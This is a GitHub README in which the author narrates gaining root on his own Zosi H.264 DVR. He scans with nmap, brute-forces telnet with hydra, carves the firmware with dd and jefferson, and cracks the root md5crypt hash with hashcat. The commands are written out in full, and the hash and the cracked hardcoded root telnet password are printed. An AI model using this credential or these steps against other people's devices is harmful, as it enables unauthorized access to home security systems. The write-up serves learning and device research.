Skip to content

dhammon/zosi-hack

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

5 Commits
 
 
 
 
 
 

Repository files navigation

Hacking the Zosi Camera DVR

https://www.amazon.com/ZOSI-channels-Security-Detection-Recorder/dp/B00KX00DVI/

TL/DR

I never really felt like the owner of my Zosi H.264 DVR security system since I didn't have the credentials to login to its listening telnet port. I attempted to bruteforce access over the network using hydra but had no luck. Next I downloaded the DVR's firmware, extracted the file system, and found root's encrypted password. I spent four days trying to crack the password and finally succeeded using rockyou and hashcat's dive rule set on the 4th day. Using the cracked password I was able to telnet into the DVR as root. Now that I have root access, I'm a proud pwner of the Zosi H.264 DVR!

The Journey

My dad purchased a Zosi H.264 720p DVR camera system as a holiday gift for me some time ago. He was gracious enough to come over and assist me with installing the cameras and fishing the power and data lines through the attic to my network rack. It was a long dusty day of crawling through my home's attic but we were successful and I had a new security camera system to catch all the happenings around my home.

The manufacturer of the camera system offers a desktop and a mobile application to remotely view various cameras. I wasn't too keen on remotely accessing the video footage at any time so I opted not use the applications in favor of connecting a monitor to the DVR and viewing the closed feed whenever needed.

Out of curiosity, I connected the DVR on my network and ran an nmap scan. The scan quickly discovered port 23 telnet was open. Telnet is an unencrypted remote access service which could grant me a terminal on the DVR if I had the credentials.

daniel@daniel-desktop:~$ nmap -A 192.168.3.138 -p-
Starting Nmap 7.80 ( https://nmap.org ) at 2023-06-17 18:55 PDT
Nmap scan report for 192.168.3.138
Host is up (0.0093s latency).
Not shown: 65534 closed ports
PORT   STATE SERVICE VERSION
23/tcp open  telnet  security DVR telnetd (many brands)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 3.66 seconds

My enthusiasm was quickly displaced when I discovered that no credentials were provided with the documentation or otherwise published on the internet. Naturally, I was inclined to find the credentials!

Sending an ICMP ping to the DVR revealed a time to live (ttl) of 63 hops suggesting the DVR is running a Unix/Linux operating system. Assuming so would probably have been a safe guess regardless, but with this information I would know that the root account would likely be a valid telnet user target.

daniel@daniel-desktop:~$ ping 192.168.3.138 -c 1
PING 192.168.3.138 (192.168.3.138) 56(84) bytes of data.
64 bytes from 192.168.3.138: icmp_seq=1 ttl=63 time=1.24 ms

--- 192.168.3.138 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 1.235/1.235/1.235/0.000 ms

Thinking that the password may be very simple, I attempted guessing a few commonly used passwords. My guessed passwords were "blank", root, admin, zosi, and a handful of others before giving up and deciding to automate the effort using hydra network bruteforcing tool.

daniel@daniel-desktop:~$ telnet 192.168.3.138
Trying 192.168.3.138...
Connected to 192.168.3.138.
Escape character is '^]'.

(none) login: root
Password: 
Login incorrect
(none) login: root
Password: 
Login incorrect
(none) login: root
Password: 
Login incorrect
Connection closed by foreign host.

Hydra is great for network authentication bruteforcing attacks but requires a password list. Because network attacks can be somewhat slow I went for a shorter list xato-net-10-million-passwords-100.txt from Daniel Miessler's awesome SecLists repository.

daniel@daniel-desktop:/$ hydra -l root -P /tmp/xato-net-10-million-passwords-100.txt 192.168.3.138 telnet
Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-06-17 19:11:04
[WARNING] telnet is by its nature unreliable to analyze, if possible better choose FTP, SSH, etc. if available
[DATA] max 16 tasks per 1 server, overall 16 tasks, 100 login tries (l:1/p:100), ~7 tries per task
[DATA] attacking telnet://192.168.3.138:23/
1 of 1 target completed, 0 valid passwords found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-06-17 19:11:31

Zero hits, another bust! It was time for a firmware hacking approach. John Hammond recently published a Getting Started in Firmware Analysis & IoT Reverse Engineering YouTube Video where he demonstrates sourcing and extracting an IoT's filesystem from firmware to grab encrypted passwords from the shadow file for cracking later. Drawing inspiration for John's video, I first needed to find the firmware that was running on the DVR. To find the version of the firmware I used the DVR's User Guide on the Amazon listing page for the device. Section 9 of the user guide proudly display's instructions on how to upgrade the DVR and an example firmware version rootfs-hi3520d.

https://m.media-amazon.com/images/I/C1WFUEYWqzS.pdf

A search on Zosi's Support site for the rootfs-hi3520d file yielded a support article and download link. I downloaded the firmware and ran the file command which displayed a hirootfs file system.

daniel@daniel-desktop:/tmp$ file rootfs-hi3520d 
rootfs-hi3520d: u-boot legacy uImage, hirootfs, Linux/ARM, Filesystem Image (any type) (Not compressed), 11648276 bytes, Tue Dec 22 03:26:43 2015, Load Address: 0x00000000, Entry Point: 0x00000000, Header CRC: 0x35576305, Data CRC: 0xA18D7037

Next, I unsuccessfully tried extracting the file system from the firmware file using binwalk. Nonetheless, binwalk identified a header in the first 64 bytes and a jffs2 file system in the remaining of the byte range.

daniel@daniel-desktop:/tmp$ binwalk -e rootfs-hi3520d 

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             uImage header, header size: 64 bytes, header CRC: 0x35576305, created: 2015-12-22 03:26:43, image size: 11648276 bytes, Data Address: 0x0, Entry Point: 0x0, data CRC: 0xA18D7037, OS: Linux, CPU: ARM, image type: Filesystem Image, compression type: none, image name: "hirootfs"
64            0x40            JFFS2 filesystem, little endian

Even though binwalk didn't extract the file system, I could use dd to specifically carve out the byte range desired. Running dd did the trick as I extracted just the jffs2 section of the firmware file into a file named system.jffs2 and confirmed the jffs2 file type using the file command.

daniel@daniel-desktop:/tmp$ dd if=rootfs-hi3520d of=system.jffs2 skip=64 bs=1
11648276+0 records in
11648276+0 records out
11648276 bytes (12 MB, 11 MiB) copied, 14.4728 s, 805 kB/s
daniel@daniel-desktop:/tmp$ 
daniel@daniel-desktop:/tmp$ 
daniel@daniel-desktop:/tmp$ file system.jffs2 
system.jffs2: Linux jffs2 filesystem data little endian

With the files system extracted, I needed to view the system files by mounting the system. I could achieve this using the jefferson tool. After installing jefferson and its dependencies, I ran the tool on the system.jffs2 file which mounted all files into a jffs2-root directory in the current folder.

Jefferson installation:

sudo apt install python3-pip git python3-lzo
sudo pip3 install cstruct
git clone https://github.com/sviehb/jefferson
cd jefferson/
python3 setup.py install

Mounting the jffs2:

daniel@daniel-desktop:/tmp$ sudo jefferson system.jffs2
dumping fs to /tmp/jffs2-root (endianness: <)
Jffs2_raw_inode count: 1201
Jffs2_raw_dirent count: 1201
writing S_ISDIR bin
writing S_ISDIR boot                                  
writing S_ISDIR dev
writing S_ISDIR etc
[...snip...]
writing S_ISLNK usr/sbin/telnetd
writing S_ISLNK usr/sbin/udhcpd
writing S_ISDIR usr/share/udhcpc
writing S_ISREG usr/share/udhcpc/default.script
writing S_ISDIR var/run
writing S_ISREG var/run/utmp
----------

Now that the jffs2 file system was mounted in jffs2-root directory, I began exploring if this firmware had a shadow or passwd file that could contain the telnet user and encrypted password. Running ls gave me an overview of the file system.

daniel@daniel-desktop:/tmp/jffs2-root$ ls -la
total 108
drwxr-xr-x 21 root root  4096 Jun 17 20:32 .
drwxrwxrwt 26 root root 20480 Jun 17 20:32 ..
drwxr-xr-x  2 root root  4096 Jun 17 20:32 bin
drwxr-xr-x  2 root root  4096 Jun 17 20:32 boot
drwxr-xr-x  2 root root  4096 Jun 17 20:32 dev
drwxr-xr-x  6 root root  4096 Jun 17 20:32 etc
drwxr-xr-x  2 root root  4096 Jun 17 20:32 hitoe
drwxr-xr-x  2 root root  4096 Jun 17 20:32 home
lrwxrwxrwx  1 root root     9 Jun 17 20:32 init -> sbin/init
drwxr-xr-x  3 root root  4096 Jun 17 20:32 lib
lrwxrwxrwx  1 root root    11 Jun 17 20:32 linuxrc -> bin/busybox
drwxr-xr-x  2 root root  4096 Jun 17 20:32 lost+found
-rwxrwxrwx  1 root root   431 Jun 17 20:32 mknod_console
drwxr-xr-x  4 root root  4096 Jun 17 20:32 mnt
drwxr-xr-x  2 root root  4096 Jun 17 20:32 nfsroot
drwxr-xr-x  2 root root  4096 Jun 17 20:32 opt
drwxr-xr-x  2 root root  4096 Jun 17 20:32 proc
drwxr-xr-x  2 root root  4096 Jun 17 20:32 root
drwxr-xr-x  2 root root  4096 Jun 17 20:32 sbin
drwxr-xr-x  2 root root  4096 Jun 17 20:32 share
drwxr-xr-x  2 root root  4096 Jun 17 20:32 sys
drwxr-xr-x  2 root root  4096 Jun 17 20:32 tmp
drwxr-xr-x  6 root root  4096 Jun 17 20:32 usr
drwxr-xr-x  3 root root  4096 Jun 17 20:32 var

And listing files in the file system's etc folder reveals passwd file. I used cat to dump the file contents which displayed the only user on the system as root and the encrypted password $1$Zvj.IvRb$7g3anRUwEV0tiP//JNqAh/! Usually a shadow file would contain the encrypted password, but I'm not complaining.

daniel@daniel-desktop:/tmp/jffs2-root$ cat etc/passwd
root:$1$Zvj.IvRb$7g3anRUwEV0tiP//JNqAh/:0:0::/root:/bin/sh

I explored the rest of the file system for other secrets but it didn't turn up anything meaningful. With the encrypted password in hand, I fired up my local cracking box which isn't anything more than a physical consumer grade computer with an RTX 3060 graphics card. I started with a bruteforce attack using hashcat configured to try every combination of digits, uppercase, lowercase, and special characters. This would be much faster and more efficient then using hydra network attack as my graphics card could try many combinations at once and not have any network overhead. hashcat works by encrypting the guessed password and compares the results to the target password. If there is a comparable match, the password becomes known or cracked.

hashcat -a 3 -m 500 -O -w 3 -1?l?u?d?s ?1?1?1 zosi.passwd

After a full day of running, hashcat incremented to 7 character attempts that were estimated to take 30 days of runtime. Because 30 days was too long, I re-calibrated the tool to bruteforce only common special characters. This new calibration of 7 characters with a limited special character set would consume 3 full days of running.

hashcat -m 500 zosi.passwd -a 3 -1 '!@#$%/.' -2?u?l?d ?2?2?2?2?2?2?2?2?2?2 -i -w 3 -O --increment-min=7

After 3 long days of password cracking 7 characters, all combinations were exhausted and 8 characters were going to take another 30 days. 30 days definitely exceeded my interest in this project so I decided to turn to a hashcat wordlist approach using rockyou.txt with the dive rule set. The rockyou file contains about 14 million passwords from a data breach back in 2009. 14 million passwords might sound like a lot but it is grossly insufficient and only takes a few minutes to try every password in the list. But you can extend that list by using hashcat's dive rule set which mutates each password in the list with hundreds of rules like adding a couple digits to the end of the password or changing the letter "s" to a dollar sign. Rockyou with the dive rule set brings the total attempts from 14 million to about 1.5 trillion and would demand a full day of runtime to complete. I fired it off and went to bed.

hashcat -m 500 zosi.passwd wordlists/rockyou.txt -r /usr/share/hashcat/rules/dive.rule -w 3 -O

The next morning I checked the status of the rockyou+dive rule set and bingo, password cracked!!

$1$Zvj.IvRb$7g3anRUwEV0tiP//JNqAh/:asj1234asj    
                                                 
Session..........: hashcat
Status...........: Cracked
Hash.Name........: md5crypt, MD5 (Unix), Cisco-IOS $1$ (MD5)
Hash.Target......: $1$Zvj.IvRb$7g3anRUwEV0tiP//JNqAh/
Time.Started.....: Sat Jun 17 20:53:56 2023 (1 hour, 17 mins)
Time.Estimated...: Sat Jun 17 22:11:49 2023 (0 secs)
Guess.Base.......: File (wordlists/rockyou.txt)
Guess.Mod........: Rules (/usr/share/hashcat/rules/dive.rule)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 10086.7 kH/s (83.04ms) @ Accel:64 Loops:500 Thr:1024 Vec:1
Recovered........: 1/1 (100.00%) Digests
Progress.........: 47823846768/1421327633024 (3.36%)
Rejected.........: 647626096/47823846768 (1.35%)
Restore.Point....: 0/14344384 (0.00%)
Restore.Sub.#1...: Salt:0 Amplifier:25708-25709 Iteration:500-1000
Candidates.#1....: 1231234456 -> dus1234hleepapp
Hardware.Mon.#1..: Temp: 71c Fan: 69% Util:100% Core:1920MHz Mem:7300MHz Bus:16

It was finally time to find out if all this effort had been worth it by attempting to telnet into the DVR with the cracked password of the root user. I launched telnet from my desktop, entered the username and password, and I got a "Welcome to HiLinux" message. I was in and for the first time I felt like I truly pwned this DVR!

Thank you for reading through this journey with me. I hope you found some inspiration and learned something new. On to the next one!

About

No description, website, or topics provided.

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published